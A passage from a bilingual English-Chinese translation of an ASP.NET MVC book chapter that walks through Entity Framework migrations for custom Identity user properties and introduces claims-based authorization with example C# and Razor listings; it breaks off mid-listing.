Identity数据库用来存储用户记录的。 The final step is to perform the migration. Without starting the application, run the following command in the Package Manager Console: 最后一步是执行迁移。无需启动应用程序,只需在“Package Manager Console(包管理器控制台)”中运行以下命令即可: Update-Database –TargetMigration CityProperty The database schema will be modified, and the code in the Configuration.Seed method will be executed. The existing user accounts will have been preserved and enhanced with a City property (which I set to Paris in the Seed method). 这会修改数据库架构,并执行Configuration.Seed方法中的代码。已有用户账号会被保留,且增强了City属性(我在Seed方法中已将其设置为“Paris”)。 15.2.4 Testing the Migration 15.2.4 测试迁移 To test the effect of the migration, start the application, navigate to the /Home/UserProps URL, and authenticate as one of the Identity users (for example, as Alice with the password MySecret). Once authenticated, you will see the current value of the City property for the user and have the opportunity to change it, as shown in Figure 15-3. 为了测试迁移的效果,启动应用程序,导航到/Home/UserProps URL,并以Identity中的用户(例如Alice,口令MySecret)进行认证。一旦已被认证,便会看到该用户City属性的当前值,并可以对其进行修改,如图15-3所示。 Figure 15-3. Displaying and changing a custom user property 图15-3. 显示和个性自定义用户属性 15.2.5 Defining an Additional Property 15.2.5 定义附加属性 Now that database migrations are set up, I am going to define a further property just to demonstrate how subsequent changes are handled and to show a more useful (and less dangerous) example of using the Configuration.Seed method. Listing 15-8 shows how I added a Country property to the AppUser class. 现在,已经建立了数据库迁移,我打算再定义一个属性,这恰恰演示了如何处理持续不断的修改,也为了演示Configuration.Seed方法更有用(至少无害)的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举,它定义了国家名称。还添加了一个辅助器方法,它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改,以使Seed方法根据City设置Country属性,但只当Country为NONE时才进行设置(在迁移数据库时,所有用户都是NONE,因为Entity Framework会将枚举列设置为枚举的第一个值)。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用,因为它只会在Country属性未设置时,才会设置Country属性的值——后继的迁移不会受到影响,因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方,则附加属性就无法使用了,因此,清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改,以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性,清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化,这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化,这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console(包管理器控制台)”中输入以下命令: Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件,它含有添加Country数据表列的指令。为了运用迁移,可执行以下命令: Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移,Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序,认证并导航到/Home/UserProps URL,便可以查看新的用户属性,如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示:虽然我们关注了升级数据库的过程,但你也可以回退到以前的版本,只需指定一个早期的迁移即可。使用-Force参数进行修改,会引起数据丢失,例如删除数据表列。 15.3 Working with Claims 15.3 使用声明(Claims) In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中,例如ASP.NET Membership,应用程序被假设成是用户所有信息的权威来源,本质上将应用程序视为是一个封闭的世界,并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法,使人很难认识到这到底意味着什么,第14章你已看到了这种封闭世界技术的例子,根据存储在数据库中的凭据来认证用户,并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性,也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法,这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法,当MVC框架的应用程序不是有关用户的唯一信息源时,这种办法会工作得很好,而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims(声明)”,因此在本小节中,我将描述ASP.NET Identity如何支持“Claims-Based Authorization(基于声明的授权)”。表15-4描述了声明(Claims)的情形。 提示:“Claim”在英文字典中不完全是“声明”的意思,根据本文的描述,感觉把它说成“声明”也不一定合适,所以在之后的译文中基本都写成中英文并用的形式,即“声明(Claims)”。根据表15-4中的声明(Claims)的定义:声明(Claims)是关于用户的一些信息片段。一个用户的信息片段当然有很多,每一个信息片段就是一项声明(Claim),用户的所有信息片段合起来就是该用户的声明(Claims)。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明(Claims)的情形 Question 问题 Answer 答案 What is it? 什么是声明(Claims)? Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明(Claims)是关于用户的一些信息片段,可以用它们做出授权决定。声明(Claims)可以从外部系统获取,也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它? Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明(Claims)可以用来对动作方法进行灵活的授权访问。与传统的角色不同,声明(Claims)让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性,但它集成到了标准的授权特性之中,例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示:你在应用程序中不一定要使用声明(Claims),正如第14章所展示的那样,ASP.NET Identity能够为应用程序提供充分的认证与授权服务,而根本不需要理解声明(Claims)。 15.3.1 Understanding Claims 15.3.1 理解声明(Claims) A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明(Claim)是关于用户的一个信息片段(请注意这个英文单词的单复数形式——译者注),并伴有该片段出自何处的某种信息。揭开声明(Claims)含义最容易的方式是做一些实际演示,任何讨论都会过于抽象根本没有真正的用处。为此,我在示例项目中添加了一个Claims控制器,其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示:你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐,当看到该动作方法和视图的输出便会明白。尤为重要的是,这有助于洞察声明(Claims)。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明(Claims)。方法之一就是使用由用户类定义的Claims属性,但在这个例子中,我使用了HttpContext.User.Identity属性,目的是演示ASP.NET Identity与ASP.NET平台集成的方式(请注意这句话所表示的含义:用户类的Claims属性属于ASP.NET Identity,而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见,ASP.NET Identity已经融合到了ASP.NET平台之中——译者注)。正如第13章所解释的那样,HttpContext.User.Identity属性返回IIdentity的接口实现,当使用ASP.NET Identity时,该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的,表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明(Claims)的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明(Claim) AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明(Claim)时,返回true。参见“运用声明(Claims)”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明(Claim)。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员,但表中的这些是在Web应用程序中最常用的,随着我演示如何将声明(Claims)融入更宽泛的ASP.NET平台,它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中,我将IIdentity实现转换成了ClaimsIdentity类型,并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段,Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明(Claim)的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明(Claim)所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明(Claim)所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明(Claim)所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容,它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明(Claim)添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式(Microsoft Schema)的URI(统一资源标识符),这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式(Popular Schema),因此为了使Index.cshtml视图的输出更易于阅读,我在IdentityHelpers.cs文件中添加了一个HTML辅助器,如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注:该辅助器并非十分有效,因为它只是针对每个要显示的声明(Claim)映射出ClaimType类的字段,但对我要的目的已经足够了。在实际项目中不会经常需要显示声明(Claim)的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明(Claims)的控制器,而没有真正解释声明(Claims)是什么的原因,可以启动应用程序,以用户Alice进行认证(其口令是MySecret),并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节,为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject(科目) Issuer(发行者) Type(类型) Value(值) Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明(Claims)最重要的方面,这些是我在第14章中实现传统的认证和授权特性时,一直在使用的信息。可以看出,有些声明(Claims)与用户标识有关(Name声明是Alice,NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号)。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明(Claims)显示了角色成员——表中有两个Role声明(Claim),体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明(Claim):IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明(Claims)时的差别是,你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性(发布者)都被设置到了LOACL AUTHORITY(本地授权),这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此,现在你已经看到了一些声明(Claims)示例,我可以更容易地描述声明(Claim)是什么了。一项声明(Claim)是可用于应用程序中的有关用户的一个信息片段,包括用户的标识以及角色成员等。而且,正如你所看到的,我在前几章定义的关于用户的信息,被ASP.NET Identity自动地作为声明(Claims)了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明(Claims) Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明(Claims)比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明(Claims),而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例,在“使用第三方认证”小节中,将演示如何通过第三方系统来认证用户。不过,此刻我只打算在示例项目中添加一个类,用以模拟一个提供声明(Claims)信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数,并使用Name属性创建了关于用户ZIP码(邮政编码)和州府的声明(Claims)。上述这个类使我能够模拟一个诸如中心化的HR数据库(人力资源数据库)之类的系统,它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间,声明(Claims)是与用户标识关联在一起的,清单15-16显示了我对Account控制器中Login动作方法所做的修改,以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明(Claims)的效果,可以启动应用程序,以一个用户进行认证,并请求/Claim/Index URL。图15-6显示了Alice的声明(Claims)。你可能需要退出,然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明(Claims)意味着应用程序不必复制其他地方保持的数据,并且能够与外部的数据集成。Claim.Issuer属性(图15-6中的Issuer数据列——译者注)能够告诉你一个声明(Claim)的发源地,这有助于让你判断数据的精确程度,也有助于让你决定这类数据在应用程序中的权重。例如,从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明(Claims) The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明(Claims)有意思的第二个原因是,你可以用它们来管理用户对应用程序的访问,这要比标准的角色管理更为灵活。角色的问题在于它们是静态的,而且一旦用户已经被赋予了一个角色,该用户便是一个成员,直到明确地删除为止。例如,这意味着大公司的长期雇员,对内部系统的访问会十分惊人:他们每次在获得新工作时,都会赋予所需的角色,但旧角色很少被删除。(在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现,有时会出现异常宽泛的系统访问——真实的故事) Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明(Claims)可以直接根据用户已知的信息对用户进行授权,这能够保证当数据发生变化时,授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明(Claim),然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法,它使用了Lambda表达式,以检查用户是否具有StateOrProvince声明(Claim),该声明来自于RemoteClaims发行者(Issuer),值为DC。也检查用户是否具有Role声明(Claim),其值为Employees。如果用户这两个声明都有,那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员,来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法,在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明(Claims)承认他们是DCStaff角色的成员,那么他们便能访问OtherAction动作。该角色的成员是动态生成的,因此,若是用户的雇用状态或地点信息发生变化,也会改变他们的授权等级。 提示:请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度,仁者见仁,智者见智,能领悟多少,全凭各人,译者感觉这里的思想有无数的可能。举例说明:(1)可以根据用户的身份进行授权,比如学生在校时是“学生”,毕业后便是“校友”;(2)可以根据用户所处的部门进行授权,人事部用户属于人事团队,销售部用户属于销售团队,各团队有其自己的应用;(3)下一小节的示例是根据用户的地点授权。简言之:一方面用户的各种声明(Claim)都可以用来进行授权;另一方面用户的声明(Claim)又是可以自定义的。于是可能的运用就无法估计了。总之一句话,这种基于声明的授权(Claims-Based Authorization)有无限可能!要是没有我这里的提示,是否所有读者在此处都会有所体会?——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明(Claims)授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明(Claims)来保持新鲜和准确的授权,但有点不太直接,因为我要根据声明(Claims)数据来生成了角色,然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权,其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容,我将它添加在Infrastructure文件夹中,并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool 